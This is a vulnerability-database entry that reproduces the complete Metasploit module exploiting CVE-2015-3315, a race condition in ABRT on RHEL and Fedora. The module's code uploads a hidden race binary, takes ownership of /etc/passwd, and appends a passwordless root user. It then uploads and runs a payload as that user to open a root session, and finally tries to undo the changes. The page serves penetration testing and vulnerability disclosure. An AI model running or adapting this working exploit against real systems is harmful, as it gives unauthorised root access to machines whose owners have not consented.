Lucene search
K

ABRT raceabrt Privilege Escalation

🗓️ 16 Jan 2018 14:52:33Reported by Tavis Ormandy, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 32 Views

This module attempts to exploit a privilege escalation vulnerability in ABRT on Linux systems by leveraging a race condition to gain root privileges. It affects various versions of ABRT on RHEL and Fedora Desktop

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ABRT raceabrt Privilege Escalation',
        'Description' => %q{
          This module attempts to gain root privileges on Linux systems with
          a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
          as the crash handler.

          A race condition allows local users to change ownership of arbitrary
          files (CVE-2015-3315). This module uses a symlink attack on
          `/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`,
          then adds a new user with UID=0 GID=0 to gain root privileges.
          Winning the race could take a few minutes.

          This module has been tested successfully on:

          abrt 2.1.11-12.el7 on RHEL 7.0 x86_64;
          abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64;
          abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64;
          abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64;
          abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Tavis Ormandy', # Discovery and C exploit
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2015-04-14',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'References' => [
          [ 'CVE', '2015-3315' ],
          [ 'EDB', '36747' ],
          [ 'BID', '75117' ],
          [ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
          [ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
          [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
          [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
          [ 'URL', 'https://access.redhat.com/articles/1415483' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_stat
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )
    register_options(
      [
        OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
        OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])
      ]
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]

    self.needs_cleanup = true
  end

  def base_dir
    datastore['WritableDir']
  end

  def timeout
    datastore['TIMEOUT']
  end

  def check
    if immutable?('/etc/passwd')
      vprint_error 'File /etc/passwd is immutable'
      return CheckCode::Safe
    end

    kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
    unless kernel_core_pattern.include? 'abrt-hook-ccpp'
      vprint_error 'System is NOT configured to use ABRT for crash reporting'
      return CheckCode::Safe
    end
    vprint_good 'System is configured to use ABRT for crash reporting'

    if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
      vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
      return CheckCode::Safe
    end
    vprint_good 'System does not appear to have been patched'

    unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
      vprint_error "Directory '/var/tmp/abrt' does NOT exist"
      return CheckCode::Safe
    end
    vprint_good "Directory '/var/tmp/abrt' exists"

    if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
      vprint_error 'abrt-ccp service NOT running'
      return CheckCode::Safe
    end
    vprint_good 'abrt-ccpp service is running'

    pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
    abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
    unless abrt_version.blank?
      vprint_status "System is using ABRT package version #{abrt_version}"
    end

    CheckCode::Detected
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end

  def exploit
    if check != CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    @chown_file = '/etc/passwd'

    if datastore['USERNAME'].blank?
      @username = rand_text_alpha rand(7..10)
    else
      @username = datastore['USERNAME']
    end

    # Upload Tavis Ormandy's raceabrt exploit:
    # - https://www.exploit-db.com/exploits/36747/
    # Cross-compiled with:
    # - i486-linux-musl-cc -static raceabrt.c
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
    fd = ::File.open path, 'rb'
    executable_data = fd.read fd.stat.size
    fd.close

    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    upload_and_chmodx executable_path, executable_data

    # Change working directory to base_dir
    cmd_exec "cd '#{base_dir}'"

    # Launch raceabrt executable
    print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
    output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }

    # Check if we own /etc/passwd
    unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'
      fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"
    end

    print_good "Success! '#{@chown_file}' is writable"

    # Add new user with no password
    print_status "Adding #{@username} user to #{@chown_file} ..."
    cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Execute payload executable
    vprint_status 'Executing payload...'
    cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""
  end

  def on_new_session(session)
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
    end

    # Reinstate /etc/passwd root ownership and remove new user
    root_owns_passwd = false
    new_user_removed = false

    if session.type.to_s.eql? 'meterpreter'
      # Reinstate /etc/passwd root ownership
      session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""

      # Remove new user
      session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""

      # Wait for clean up
      Rex.sleep 5

      # Check root ownership
      passwd_stat = session.fs.file.stat(@chown_file).stathash
      if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0
        root_owns_passwd = true
      end

      # Check for new user in /etc/passwd
      passwd_contents = session.fs.file.open(@chown_file).read.to_s
      unless passwd_contents.include? "#{@username}:"
        new_user_removed = true
      end
    elsif session.type.to_s.eql? 'shell'
      # Reinstate /etc/passwd root ownership
      session.shell_command_token "chown root:root #{@chown_file}"

      # Remove new user
      session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"

      # Check root ownership
      passwd_owner = session.shell_command_token "ls -l #{@chown_file}"
      if passwd_owner.to_s.include? 'root'
        root_owns_passwd = true
      end

      # Check for new user in /etc/passwd
      passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"
      unless passwd_user.to_s.include? "#{@username}:"
        new_user_removed = true
      end
    end

    unless root_owns_passwd
      print_warning "Could not reinstate root ownership of #{@chown_file}"
    end

    unless new_user_removed
      print_warning "Could not remove user '#{@username}' from #{@chown_file}"
    end
  rescue => e
    print_error "Error during cleanup: #{e.message}"
  ensure
    super
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Oct 2021 12:54Current
6.3Medium risk
Vulners AI Score6.3
CVSS 27.2
CVSS 37.8
EPSS0.04815
32